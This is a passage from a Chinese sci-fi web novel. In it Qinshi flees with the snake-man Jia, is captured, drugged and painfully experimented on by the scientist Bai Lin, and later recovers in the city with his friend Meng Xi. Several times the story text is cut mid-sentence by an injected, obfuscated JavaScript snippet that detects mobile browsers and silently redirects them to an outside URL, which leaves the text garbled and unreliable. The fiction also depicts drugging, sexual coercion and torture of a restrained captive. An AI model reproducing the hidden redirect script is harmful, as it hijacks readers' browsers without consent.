伽点点头,“你冷,喝了,不冷。” 闻言青时抿了抿唇,推开伽的手腕,“我不冷了。” “嗯。”伽没有强求,顺从的收回了手。 青时打量了一下周围,发现他们好像是在某座冰山腹地的洞中,洞壁上的雪晶散发着光亮,照亮了黑暗的洞窟。 伽将青时从怀里放下,这时青时才发现伽身上的伤势那么严重,尤其左胸被他打出来的伤口,竟没有一点愈合迹象。 他打开腕表看了下时间,距离他们逃出黎明基地已经过了整整三天。 以男主的恢复力怎么可能还会是这副模样…… “你的伤,怎么回事?” 听见青时关心自己,伽咧嘴一笑,“能量不够,食物,睡觉。” 看来海诺斯人蛇愈合伤口需要某种特殊能量,这种能量有限度,但是能靠吃东西和睡眠获得。 “找食物,很快回。”伽交代完转身朝洞口过去。 青时站在原地看着他没有一块好肉的背部,以及坑坑洼洼的蛇尾,终是没忍住叫住了他。 “喂,你这个样子还想抓什么猎物,”青时从腕表空间掏出一支蓝色营养剂扔向他,“吃这个吧。” 伽下意识接住这支小小的试剂,看着其中蓝色的液体,他眼眸发亮的游曳到青时身侧,望向他的双眼。 “蓝色,眼睛,漂亮。” 意识到伽是在夸自己的眼睛好看,青时微微侧头躲开他的视线,“喝吧,是营养液。” 联邦新人类的日常食物。 伽小心地打开营养剂倒了一些进嘴里,瞧着很漂亮的液体入嘴却没什么味道,不过进入身体后一股暖流从胃部扩散开,伽明显感觉到饥饿的细胞得到了安抚。 他看着手中剩下的液体,没有一饮而尽,反而递到青时面前,“青,喝,不饿。” 青时因为他的举动怔住,随即掩饰般又拿出两管塞进他手里,“我还有,你喝吧。” 见青时没有喝的意思,伽伸手抚上他扁平的腹部,“饿,吃。” 那双墨绿的眸子直勾勾地盯着青时,大有他不吃他也不喝的意思。 青时无奈叹气,又拿出一支营养剂打开灌进嘴里,“好了,现在不饿了。” 见状伽终于放过了青时,一口将手里的营养剂喝完。 肚子填饱了,伽重新将青时抱进怀里,背靠着山壁坐下,神情难掩疲惫,双手却抱得紧紧。 青时望着他困顿的神色,没忍住问了声:“为什么……为什么选择我?” 伽疑惑地眨了眨眼,手掌抚上青时的侧脸,拇指在眼角摩挲,“漂亮。” 青时心中只觉荒诞,“就因为这?” 他的相貌在联邦不过中等,比他好看之人千千万,这算什么理由。 “漂亮。”伽加重语气重复了一遍。 对上伽真诚的目光,青时一时无言,最后直接转移了话题,“基地出现的蛇是为你而来?” 伽点点头,又摇摇头,“不是蛇,蛇好,孽龙蜥,坏。” “那东西叫孽龙蜥?”青时回忆起小艾腹部钻出的那个生物的长相,蛇一样的身形,蜥蜴一样的头,这名字倒是挺贴切。 “它们为什么要追你?” 伽捏起青时的手放到自己完好的右胸,让他感受自己蓬勃的肌肉力量,“强大,寄生。” 手触及饱满的胸肌,青时想抽回,却拗不过伽的力气,只得由他去。 “你的意思是孽龙蜥会追寻寄生强大的生命体?” 没想到伽还是摇头,“不,只我们。” “你是说它们追求的寄生体只有你们海诺斯人蛇一族?” 青时剑眉微蹙,心中突然闪过一个念头,愕然道:“它们不会是和你在同一个地方苏醒的吧?” 如果是他想的这样,抓捕男主的那天,他们之中不会就有人被寄生从而将其带回基地吧? “是。” 得到确切的答复,青时脸色一白。 “怎么?受伤?”伽看到青时脸色不对,以为他受伤了。 “……没事。”青时摇了摇头,嘴角勾起自嘲的弧度,看来基地覆灭的不冤。 唇边忽然被印下一吻,湿冷的鼻息在脸颊一闪而过,“不,伤心,孽龙蜥坏!” 青时低迷的心情被伽一本正经的语气打破,他用手背擦了擦唇角,用行动表示嫌弃。 伽没有因为他的动作而生气,只是将青时往上托举了一些,让他的头靠在自己颈侧。 用脸颊在青时柔软的黑发上蹭了蹭,伽语意困顿:“睡。” 听着耳畔平稳的呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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青时:“你是说我如果要完全转化成海诺斯人蛇,需要去到一个叫圣地的地方?” 伽点点头。 “如果我不去呢,会如何?” 闻言伽紧张地捏住青时的手,“不行!要去!一定!” 青时抬眸,“我会死,是吗?”他已经感受到海诺斯人蛇基因的强大了,它们似乎想将他吞噬。 “不会的。”伽将青时的手拉到唇边,一字一顿坚定道:“我不会让你死。” 明明是冰冷的吐息,青时却仿佛被烫到了,他猛的抽回手,不再与其对视。 “放我下去。”青时拍拍伽放在他腰间的手臂,示意他放开自己。 伽依依不舍地将人放下,看着青时朝洞口走,他亦步亦趋地跟在身后,那么大一坨硬生生表现得跟小狗似的。 将近两米高的洞口竟然被雪堵得严严实实,青时抓了把松软的雪粒,喃喃道:“下雪了?” 南极虽然冷,但青时来到黎明基地这几年还从未见过下雪。 这突如其来的大雪,会预示着什么吗? 伽见青时一直在洞口前发呆,以为他是想出去,一尾巴抽过去将洞口的雪扫平。 瞬间,凌冽的风裹挟着雪花砸到两人身上。 青时伸手挡在脸前,无奈地瞟向伽。 伽一脸无辜地望着他。 青时转身走回洞内,这么恶劣的天气哪儿也去不了。 27. 人蛇10 鹅毛大雪一连下了五天才稍稍停歇。 伽的伤势基本好得差不多,见雪小了,他带着青时离开暂栖的洞窟。 青时坐在伽的肩膀上,雪的深度几乎到了伽的腰部,他要是下去估计会埋到胸口。 伽似乎能从白茫茫的世界中准确认出方向,完全没有迟疑朝着一个方向出发了。 青时抬头望向灰蒙的天空,细弱的雪花落在睫毛,遮住了主人眼中的茫然。 他现在,算什么呢? 连续赶路好几天,青时的营养剂早已耗尽,伽不得不停下来捕猎。 他可以很多天不吃喝,但青时不行。 厚厚的雪层完全淹没了猎物的踪迹,想在这样的雪地上找到猎物是不可能的事。 于是伽找到一处薄弱的海面打碎浮冰,准备潜下去。 青时不能下水,留在冰面上等他。 到今天雪已经完全停住,但青时看着周围陌生的雪原不由得叹了口气。 他现在除了跟着伽似乎别无他法,仅凭他一人一腿在广袤无垠的南极大陆寻找出路,只能说是自寻死路。 青时双手抱胸眺望远方,身后忽然传来一道急促的脚步声。 “谁?”青时猛然转身,映入眼帘的是一张熟悉的脸,他惊讶地张口:“孟希?” 孟希跑到青时身前,伸手抓他的手臂。 青时侧身躲过,问:“你怎么会在这儿?” 孟希喘着气,尴尬地收回手,说:“青时,先离开这儿我再跟你解释吧!” 青时的视线从伽跳下去的冰窟窿上一扫而过,随后转到孟希身上,“好。” 孟希竟然开了一辆飞车出来,当流线型的车体撤掉伪装暴露在视野之中时,青时眼中惊讶一闪而过。 “快上车吧!”孟希爬上驾驶位按下后座门的开关。 青时没有多话直接上了车,等飞车飞上天平稳行驶后孟希才开口解释。 “青时你是不知道,你不见了之后柏霖居然宣布接管基地,我去找文森他们,结果愣是一个眼熟的守卫队员都没看见。” “后来基地就爆发了传染病,我躲在飞车里开启环境模拟才逃过一劫。那天我看到‘伏羲’带着你被那些感染者追击,于是我趁着混乱开车逃出基地。” “我知道你们如果要走肯定只会从海上跑,所以我就开着飞车沿着海面找,结果没想到‘伏羲’跑的那么快,中途追丢了。” “后面又遇上大雪,我好不容易才重新找到你们的踪迹。” 青时从后视镜里看到孟希真诚清澈的双眼,“谢谢,辛苦了。” “害,没事,”孟希满不在乎地摆摆手,“柏霖那个老东西说你当时去参加秘密实验了,是真的吗?不会是他为了掌控基地而想出来的说辞吧?” 纤长的睫毛如同蝶翼般上下翻飞,青时不由自主地回忆起充斥黑暗的禁闭室里的点点滴滴。 那种混沌无力,那种灼烧般的炽热,那种痛苦和愉悦的交织…… “青时?”孟希见青时许久不回话,唤了声。 圆润的指甲在掌心留下几个月牙,青时强行把自己从不堪回首的回忆中抽离,“真的。” 孟希敏锐地察觉青时的情绪不对,连忙转移话题:“这样啊,话说青时你之后有什么打算吗,基地没了,也不知道议会会不会追责。” “议会……呵。”青时嘴角露出凉薄的弧度,似乎觉得这个词十分好笑。 “青时……你怎么了?”孟希小心翼翼地问。 青时垂下眼睑,繁复的睫毛遮住了主人眼中的复杂情绪,“没什么。” “呃……要不青时你和我一起回主城吧,南极也没什么好的,又冷又荒凉,还危险。”孟希从后视镜窥探着青时的神色,提出提议。 青时望向窗外一成不变的白色,神色莫名,“行,回去。” 孟希双眼一亮,高兴道:“好!我们回去!” 开飞车回主城肯定是不现实的,他们没有那么多能源支撑他们飞回去,于是孟希带着青时来到了南极大陆的港口基地——希望。 希望基地的主要研究是X因子的提取,它的位置在四个基地中是最靠外的,每隔一段时间都会有主城的船开过来运输成品X因子,其他基地的物资补给也会在这里进行中转。 “青时,我打听到了,最近一班回主城的船就在今天下午。”孟希掏出两张船票,递了一张给青时,“飞车带有黎明基地的标志,我们带不走,就把它留在这儿吧。” 青时接过票,微微颔首。 孟希双手插兜背靠飞车,长长地舒了一口气,“时间一晃而过,五年了,不知道主城变化大不大。” “等你回去看看不就知道了。”青时也学他靠着车身,淡淡道。 “只怕两位暂时上不了船了。”沙哑的嗓音突兀地插进来。 希望基地整装待发的守卫队成员将两人一车团团围住,一个个黑洞的枪口对准他们,仿佛稍有异动就会把他们打成筛子。 青时和孟希的视线同时落在领队的人身上。 孟希率先惊呼出声:“柏霖?!你怎么会在这儿?不对,你这是要做什么?” “我来验收我的实验体,”柏霖扯开嘴角,笑得和善,“纪队长,久违了。” 青时咬紧牙关,盯着柏霖的双眼怒火中烧。 孟希上前一步挡在青时面前,“这里没有你的实验体,柏霖你找错地方了吧?!” “呵呵,是吗?”柏霖笑出声,眼睛直直地看向青时,“纪队长,你有看见我的实验体吗?” 青时攥紧拳头,脚下一转飞身朝着柏霖攻过去,今天就是死他也要拉柏霖一起! 谁知柏霖见青时朝自己而来竟丝毫没有躲避的想法,周围的守卫队也不曾开枪。 青时察觉到这一点觉得有些奇怪,但愤怒冲昏了头脑,他还是义无反顾地冲了过去。 “呃!”来到柏霖身前一米左右青时突然头脑发晕四肢无力,他闷哼一声半跪到地上。 “柏霖你对青时做了什么!?”孟希看到青时忽然跪下大惊失色,想冲过来扶住青时,结果被两名守卫队员拦住,“可恶,你们给我让开!” 柏霖伸手钳住青时的下巴将他的头抬起,看到那双布满痛苦的涣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299447|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散蓝眸,他大笑出声:“说到这个,还得感谢孟研究员你的帮助。” 孟希挣扎的动作一顿,“我的帮助?” 柏霖:“是啊,还记得我递给你的那管X因子吗?” “你!”孟希瞳孔地震,他回想起在黎明基地最后一次给青时治疗前,他去冷库提取X因子试剂时遇到柏霖,当时那管试剂不是他亲手拿出来的,而是柏霖递给他的。 “该死!你做了什么手脚?!” 柏霖眯着眼笑,丝毫没把孟希的无能狂怒放在眼里,“一点能让纪队长变得听话的小玩意儿。” 青时闭上眼,强撑着将下巴从柏霖的手里挣脱,结果用力过猛侧倒在雪地里,混乱不堪的脑海让他无瑕顾及其他,只能狼狈地蜷缩着。 柏霖睨着地上的青时,双手交叉拍了拍不存在的灰尘,“把人带回我的实验室。” 两名守卫队员上前扶起全身无力的青时。 “不——柏霖你要干什么!你不能这么做!你怎么能拿青时做实验,你就不怕议会知道吗!”孟希高喊着想阻止他。 柏霖嗤笑他的天真,“看来纪队长没有告诉你他之前参与的是什么实验。” “你到底在说什么?”孟希不解。 “是与‘伏羲’有关的繁衍实验。”柏霖高兴地看着孟希听到他的话之后破碎的表情。 孟希大睁着眼,张着嘴却说不出话来。 “柏霖先生,此人怎么处理?”擒着孟希的守卫队员其中一人问。 柏霖挑了挑眉,“先关起来吧,他从黎明基地出来,不知道有没有感染传染病,可不能放跑了。” “是。” 不知过了多久,混乱的头脑终于平稳下来,青时睁开眼,头顶是刺眼的白炽灯。 他动了动手脚,发现自己被捆绑在单人实验床上。 “醒了。”视线跟着声音望过去,是穿着白大褂戴着口罩的柏霖。 青时收回视线,呆呆盯着头顶,没有言语,他无话可说。 柏霖微微一笑,走到青时身侧,“纪队长,我刚刚给你做了个血检,你想知道结果吗?” 青时闭上眼拒绝沟通。 “哈哈,看来纪队长早就知道了?”柏霖翻阅着手里的报告,“你的血型已经在朝着海诺斯接近,想必要不了多久我就能亲眼见证一只海诺斯人蛇的诞生了。” “我很期待那一天的到来,纪队长。” 那只怕你永远都等不到那一天了。 青时篾了他一眼,嗤笑。 柏霖完全不在意他这不足挂齿的反抗,“纪队长,有样东西我还没取到,你看是你自己来,还是我帮你一把?” 青时看着他的视线下移落在自己的腹部,咬牙道:“滚。” “看来纪队长是不愿配合,那就得罪了。”柏霖转身拿出一支针剂,颜色是梦幻的紫色。 青时有意挣扎,可是身上的束缚太紧,只能眼睁睁看着那紫色的液体一点点被推进自己的身体。 “纪队长放心,这不过是对身体无害的催、情剂,只要发泄出来就好了。”柏霖推完一支针剂,笑着解释。 28. 人蛇11 药剂与海诺斯的荷尔蒙素不一样。 荷尔蒙素注入之后全身无力,意识迷茫,如同漫步云端,而现在青时意识十分清醒,他明显感受到身体内弥漫的痒意与热度。 他咬住自己的下唇,企图用疼痛转移这种难耐,嘴角缓缓流下的赤红,仿佛雪山之巅绽放的血之花,美丽却触之即碎。 雪白的肢体被桎梏在冰冷的金属之中,却一点点染上绯色,柏霖站在一旁看着这绮丽的一幕,眼中十分满意。 这感觉就像亲手将高傲的神邸折断双翼,拉下人间,沉入欲海般令人陶醉。 柏霖伸手抚上青时嘴角的赤红,将那一线轻轻拭去。 略带薄茧的手指擦过唇边,青时猛的睁眼,愤怒的眸光恨不得化作利剑将柏霖大卸大块,“滚,别碰我!” 这次柏霖没有退开,手上用力掰开青时的下巴将硅胶材质的止咬球塞进他嘴里,确保青时不能再咬伤自己。 他漫不经心地拍了拍青时的脸颊,“纪队长要小心点才是,你现在可是珍贵的实验体。” 青时咬紧牙关侧头躲开他的手。 “呵。”也许是青时无能狂怒的姿态令他心情愉悦,柏霖将收集器连接到青时身上后便打算离开。 “纪队长,好好享受。” 感应灯察觉到主人离去后,一排排熄灭,最后只剩下启动中的仪器表盘上的绿色光亮,映照着玄黑实验床上引颈受戮的羔羊。 压抑不住的粗重呼吸回荡在无人的实验室,朦胧的绿光中圆润的脚趾蜷缩,脚背青筋暴起,劲瘦的脚腕因为和金属圈交往过密显出半圈深红。 有什么东西将将要破体而出,但总在临门一脚时消散,青时快被这种感觉折磨疯了。 心中屈辱与羞愤交杂,青时努力与身体本能对抗着。 晶莹的汗滴从绯红的肌肤中渗出,垂涎欲滴,如同点缀在含苞玫瑰花上的露珠…… “咔” 刺目的亮光从打开的门缝中穿过,落在实验台边无力耷拉着的葱白指尖上。 蝶翼般的睫毛缓缓振翅,露出其下深蓝幽暗的双眸。 “纪队长,昨夜休息得可还好?”踏进实验室的柏霖看到青时疲乏的神色,笑道。 青时抬眸睨了他一眼,随后便无力地垂下眼睑,他几乎被折磨了整夜,药效在柏霖进来前才将将消停一些。 那边柏霖走到收集器前,看着罐子里的液体,他满意地勾唇,“不错,不错,辛苦了,纪队长。” “嗑哒”捆缚在身上的金属环被打开,然而青时已经精疲力竭,只稍稍弹动了两下指尖。 柏霖将黑色的止咬球从他口中取出,从止咬球上深切的牙印不难看出它经历了怎样的摧残。 望着青时脖颈四肢上因为主人挣扎而留下的红得滴血的痕迹,柏霖对身后跟进来的两位助手说:“把他送到研究园里去,单独放置。” “是。” 青时被两人抬着送进了一间单独的玻璃房,他躺在地上,透明的玻璃映出他狼狈不堪的身躯。 从前他是站在玻璃外高高在上的人,而今却成了玻璃内毫无人权的展示,谁能不感叹一句,世事无常。 昨晚他一度想过依靠死亡得到解脱,但是每次闪过这个念头心中就不由得升起恐慌,仿佛有谁在拼命阻止他那么做。 青时眼前不由得浮现伽的身影,他应该不会为了他重新来到人类领地吧,毕竟都上过一次当了,好不容易逃出去再被抓住那就真是贻笑大方了。 好在没听说海诺斯人蛇有什么一生一世一双人的传言,希望男主能快些找到新的配偶取代他,这样他的任务才有完成的希望。 躺了许久身上终于恢复了一些力气,青时强撑着站起身,迈着虚浮无力的脚步进入这个生态圈的内部,将自己隐藏在宽大的树干之后。 虽然他知道生态圈内有360°无死角的监控,但好歹能给自己一点心理安慰,不用赤条条的暴露在人前。 青时坐在地上头靠着树干,恍恍惚惚地进入梦乡,他实在太累了,明明只是一夜未眠,但他却仿佛去了半条命。 {青,你在哪?} {为什么丢下我?} {回答我,青!} 夜半,青时惊醒,他下意识抬头扫视四周。 笼罩在黑暗中的研究园寂静无声,他捂住额头,心想:怎么会听见伽的声音,是梦吗? “唔!”修长的双腿互相交叠,青时发觉身体又开始不对劲,他在发热,但此刻的感受与药剂带来的感觉不一样,更像是被伽注入荷尔蒙素后的反应。 身体在渴求,不止前方,后方也在一张一合想要什么,不知何处来的水滴沾湿了身侧的花草。 喉咙里很渴,如同被烧红的烙铁堵住,需要某种东西浇灭它的炙焰。 青时将手腕塞进嘴里,忍耐着难以言喻的奇怪感觉。 他不知道这磨人的感受持续了多久,等回过神的时候手腕上的牙印已经绽放了血花。 青时喘着气,换了个姿势背靠大树。 是药剂引发的后遗症吗?他看着手上透明的水液想到。 远在万里之外的伽感应到伴侣转化期的渴求,眸光暗沉,水桶粗的蛇尾猛的抽向地面,冰层发出不堪重负的碎裂声。 抬头看了看月亮,伽速度再次暴涨,循着自己在伴侣身上留下的微弱的荷尔蒙素味道追踪而去。 * 柏霖站在实验台前,台面上摆放着十管不同的样品,他看着手里的实验报告脸色阴沉。 “去,把纪青时带到实验室来。”他吩咐站在一旁的助手。 “是。” 0414生态圈,青时被关所在地。 看到柏霖的两位助手出现在玻璃门外,青时无动于衷,毕竟他们天天都来,采集他的血液、头发、组织等。 但今天却有不同,“请跟我们来。” 他们居然让他跟着出去,是柏霖那个家伙又要作什么妖吗? 青时站起身走到门口,两个助手伸手想抓住他的手臂,青时皱着眉躲过,“我自己走。” 两名助手对视一眼,一前一后将他夹在中间,带着他前往柏霖的实验室。 “柏霖先生,人来了。”前面的助手推开门报告。 “嗯,进来。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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青时知道他这样说是为了恐吓自己,但内心还是忍不住升起恐惧,他闭上眼,用眼帘遮住自己眸中的软弱。 当冰冷的消毒液滴落在脊背上时,他下意识握紧了拳。 “呃啊!”钢针穿透皮肤的刹那青时嘴里发出一声惨叫,随后的声音被他强硬地压在喉间,指甲在金属台面上划过,发出刺耳的咯吱声。 旁观的两位助手见青时痛苦的面容不忍地别开视线。 柏霖先生抽取脊髓竟然连麻醉都不给人打。 伽行进的身形一顿,他捂住自己心脏的位置,瞳孔紧缩成针尖大小。 左胸内传出无法抑制的痛苦,伽知道这是从伴侣身上传来的,有谁在伤害他! “是谁!该死!”喉间滚出怒嚎,伽的蛇尾不受控制地摧残起地面。 等那阵痛苦消散之后他停下动作,视线从狼藉的地面挪向远方,那是青时所在的方位。 深深地看了一眼这个方向后,他调转身体朝另一个方向急略而去。 29. 人蛇12 鲜红的脊髓液从抽取器中一滴滴进入试管,嘀嗒的水声仿佛和青时的心跳混合。 他伏趴着被固定在实验床上,像是毫无自主权的实验动物。 头偏向一侧,青时脸色苍白,眼睑半阖遮住涣散的瞳孔。 那边柏霖抽取出足够的脊髓液后拔出针头,一旁的助手连忙过来压住伤口帮助止血。 看着手底下形似蝴蝶占满腰背的青色淤痕,助手不忍地皱眉。 这已经是柏霖先生这星期第三次抽取此人的脊髓了,明明有无痛的抽取仪器但他却偏偏选择这种原始的方式,像是专门为了折磨人。 简直惨绝人寰。 “嗑哒”捆缚手脚的金属圈打开,青时撑着手臂支起上半身,一只深色补血剂被助手递到他眼前。 青时伸手接过缓了好一会儿才有力气打开,没等他递到嘴边身下的实验床忽然震动起来,不,是整个实验室都在震动。 一时间实验室全是噼里啪啦的碎裂声。 柏霖扶着实验台稳住身体,回头看向助手,“出去看看发生了什么?!” 两个助手摇摇晃晃地走到门口,刚打开门就看到几位守卫队员冲过来。 领头的队员高喊:“柏霖先生,不知哪里来的一群巨鳄正在攻击基地,麻烦您快些跟我们去避一避。” 柏霖从守卫队员的话中听出了不对劲,基地正在遭受的肯定不是简单的袭击,不然他们不会提出让他躲避。 “好!”他收拾了几样重要的资料便准备跟着队员离开。 两名助手跟在他身后,临出门前,一个助手回头看了眼还趴在实验床上的青时,小心问道:“柏霖先生,那个人我们不带走吗?” 闻言柏霖回头瞟了一眼无力瘫倒的青时,想到刚刚再次得到的检查结果,“哼”了一声,冷漠道:“他没用了,不用管。” 手里的补血剂碎在地上,挥发出甜腻的气味。 青时听见柏霖的话,内心毫无波澜。 他们很快离开了实验室,空阔的室内只剩下青时一人,不时有仪器倾倒发出的巨响,好在他所在的实验床周围还算空旷,没有被砸到的风险。 几分钟后震动停止,青时也恢复了一些力气,他爬下床往门口走。 门外不时有人神色匆匆跑过,青时扶着墙壁跟随人群前进的方向。 没走多远地面又开始颠簸,地面墙壁甚至出现了裂痕,本来还算有序的撤离队伍瞬间乱了起来,尖叫、推搡、踩踏。 本来就因为失血过多头晕的青时更加晕了起来,看着前方堵得水泄不通的队伍,他转身拐进一条死巷。 背靠着墙缓缓滑到地上,脸色苍白的青时闭眼喘着气。 “青时!原来你在这儿!” 有人抓住他的肩膀,青时睁开迷蒙的双眼看到了孟希关切的脸,“孟希?” “是,是我。”孟希看着青时惨白的脸色眼中充满心疼,“你还好吗,还能走不?我们得赶紧离开。” 青时在他的搀扶下站起身,“能走,但是出口好像堵住了。” “没事,我们不走这边。” 脚下晃动越来越厉害了,像是整座基地在被人用力推搡着。 孟希带着青时上了基地顶层的停车坪,一辆最新款K55飞车盘旋在上空。 在看到孟希出现时,飞车放出金属梯,两个穿着黑西装的男人从车里下来。 “孟少爷,快上车吧!” 青时有些意外,向孟希投去一个疑问的眼神。 孟希笑笑没说话,扶着他上了车。 K55与其他飞车相比能量消耗很少,飞行高度可达一万米,是普通飞车的10倍。 青时在来南极之前听说过这款车的研发消息,没想到这才不到五年竟然就已经投入使用了。 飞车逐渐升空,青时也终于透过车窗看到了希望基地正在发生的灾难。 只见数十头头生独角的巨鳄围绕在基地周围,用强壮的身躯撞击着基地的外墙,守卫队的重能枪对那厚厚的鳞甲完全没有作用。 但光凭这些巨鳄的攻击似乎不足以造成基地这么大的动荡…… 青时看着基地下方厚厚的冰层,若有所思。 下面有什么? “咔” 在无数人惊骇地目光中状似鸟巢的圆形基地中间突然拔高,一只庞大的四指鳞爪从中穿出将整个基地撕裂成两半。 “嗷——” 随着一声响彻云霄的嚎叫,一只遮天蔽日的巨鳄爬了出来,在它面前其他巨鳄就像是迷你版。 “快!上升!” 青时乘坐的飞车极速上升到最高,一些跑得慢的飞车直接被巨鳄的尾巴扫飞出去。 模糊的景色中青时依稀看见巨鳄背上好像站着一个人,那抹深绿分外眼熟。 那是……不会吧…… “砰!”地面炸开一朵火焰的花,是J0089重武导弹,一枚导弹能轻松杀死一头重达9吨的猛犸。 但从巨鳄的吼声判断,J0089似乎并未对它造成多大的伤害。 溅起的气浪使高空的飞车发生震荡,青时撞上车窗晕了过去。 柏霖在守卫队的护送下上了船,A型003号战舰最大负载量10人,此时船上除了他和两位助手还有7位守卫队员。 因为最重要的任务是保证柏霖先生的安全,所以这艘战舰没有参与战斗,直接以最快速度冲出了巨鳄的包围圈。 狂飙几百里直到看不到那从基地下爬出的巨鳄,战舰的速度才稍稍慢下来。 柏霖坐在座位上闭目养神,战舰上的人紧张的心情稍微放松的时候,战舰突然发出刺耳的警报声。 “怎么了?” “有什么追上来了!” “什么?!是巨鳄吗?” “不是,像是……人…不对,蛇…是长着蛇尾的人!” 闻言柏霖猛的睁开眼,“快走,是海诺斯人蛇!” “砰!”话音刚落战舰顶部就传来一声巨响。 “来不及了,他上来了!”驾驶舱的守卫队员看着红外线仪喊道。 “咔擦”合金属打造的舰身直接被撕开一道口子,一双充满暴戾的墨绿竖瞳扫视过战舰内部,最后落在柏霖三人身上。 伽追踪伴侣的气息找到这艘战舰,却没看到伴侣的身影,反而先嗅到了三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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独立的两层小楼坐落在山脚下,院中穿着休闲的青年仰躺在摇椅上,温和的阳光轻柔地落下,鸦羽般的睫毛在白皙的脸上呈现卷翘的投影。 机器人管家站在摇椅旁播报新闻:“星历4035年10月25日17时27分,关于南极大陆基地遇袭最新消息报道。” “10月24日13时27分南极大陆最后一座基地曙光也被冰层下苏醒的异兽无翼龙摧毁。” “专家推断南极大陆地底正在发生巨变,导致远古异兽不断苏醒,但究竟是何原因还未可得知。” “议会下令放弃南极大陆,全体撤出。” “截止今日16时55分最后一批驻南极人员撤离完成。” 听到这儿摇椅上的青年,也就是青时,缓缓睁开双眼。 议会居然下令放弃南极,看来这次异兽苏醒的形势比想象的更加严峻。 一辆飞车停到院外,穿着常服的孟希从车上下来。 “天气转凉了,你怎么穿这么点坐在外面。” 青时撩起眼皮望向他,“孟二公子不也穿得不多。” 30. 人蛇13 谁能想到和自己共事许久的同事居然是联邦第一飞车发行公司廖氏的公子。 听见青时的称呼孟希脸上露出些许无奈,“青时你别这么叫我,我妈早就和廖鹏离婚了,我也不是什么公子。” 青时也只是调侃一下,看他神情窘迫便不再逗他,“今天来有事吗?” “嗯。”孟希点点头,“知道你不想去医院,我特地带了小型检测仪过来。” 青时微微蹙眉,“不用,我……” “不行,这次你得听我的,不知道柏霖那家伙对你做了什么手脚,我很担心。”孟希开口打断青时的拒绝。 看他满眼坚持,青时叹了口气,从摇椅上起身,“好。” 两人转进屋内,青时躺上床让孟希将检测仪连接到自己身上。 检测过程需要一定时间,孟希一边关注显示屏,一边对青时说:“青时,最近中心研究院有些动荡,据说是元老柏霖离开南极后一直没有现身,连载运的战舰都消失无踪。” “他最好是死在南极了。”孟希难得恶毒地诅咒一个人。 青时也在内心附和了一句,那老东西最好死了。他头一次对一个人有如此恶意。 “嗯?这是怎么回事?”孟希看着屏幕上的检测结果皱起眉头。 青时:“怎么了?” 孟希解释道:“从你体内检测到了联邦禁药‘归谷’,中这种药的人早期不会有太大副反应,只会在再次感受到‘归谷’时出现反应,柏霖应该就是借此控制你的。” 禁药……难怪! “嗯。看你的样子难道我体内的禁药出了什么问题?”青时问。 孟希纠结得眉毛到快要打结了,“不,你体内的禁药很快就要被另一股力量吞噬殆尽了。” “这好像是另外一种强大的基因,它们不仅在吞吃你体内的禁药,甚至连基因……”说着孟希突然想到什么,他的声音变得干涩,“青时,柏霖说你参与了‘伏羲’的繁育实验,你难道……” 青时的神情出现了瞬间的怔忪,随即他坐起身将身上的连接片一一取下,岔开话题,“禁药没了就好。” “青时,你……”孟希握住青时的手腕,“你放心,我不会让你有事的。” 对上他认真的眼神,青时用巧劲挣开他的手,微微勾起唇角,“那就拜托了。” 说完他下床走到保鲜柜前,取出一瓶蓝色营养剂。 喝了一小口后,见孟希还在看着自己,青时朝他晃了晃手里的玻璃瓶,“怎么,孟二少也想尝尝?” 嫣红的舌尖擦过唇角。 孟希耳根发烫,尴尬的移开视线,“不用了……那个,我还有事先走了,下次再来看你。” 望着狼狈跑走的背影,青时将手里的营养剂一饮而尽,而后把空玻璃瓶放回保鲜柜中。 坐上飞车的孟希仰头靠在座位靠背上,脑海中不断浮现的姝色让他的耳朵越来越红。 【桀桀,胆小鬼!】 脑子里突然多出一道声音,像蛇类的嘶嘶声,偏偏他能听懂。 孟希脸色刹那间阴沉下来,“不是让你没事别说话吗!” 【桀桀桀,你喜欢他?那个叫纪青时的人类。】 孟希一拳锤在仪表盘上,咬牙切齿道:“你要是敢动他,我马上和你同归于尽!” 【嘶嘶,放心,我现在对你的兴趣最大,能和孽龙蜥共存的人,嘻嘻。】 【不过,你看上的那个人身上有海诺斯人蛇的气息,虽然不是完全体,但也足够吸引我的族人了。】 “什么?”孟希眼中慌张一闪而过,他沉下脸色,“有什么办法能祛除吗?” 【唔,转化是不可逆的。不过……】 孟希:“不过什么?” 【只要你把这具身体的主动权让给我,我可以帮你拦下我的族人们。】 孟希眼中的希冀暗淡下去,他嗤笑道:“你做梦。” 【嘶,你会求我的。】 “不可能。”孟希按下飞车的启动键,车窗上那秀雅的两层小楼离他越来越远,就像他和青时之间的距离。 黎明基地爆发蛇潮他以为自己是没被感染的幸运儿,没想到命运会给他开这样一个玩笑,还不如一开始就随着基地一起覆灭,那样好歹他会在青时心中留下不可磨灭的印记。 而不是像现在,只能苦苦压抑自己别去靠近,因为他不知道自己什么时候会变成一个彻头彻尾的怪物,不,或许他已经是了。 * “轰隆” 窗外下起了大雨,电闪雷鸣。 陷入洁白床单里的青年弓着身体将自己蜷缩成一颗虾米。 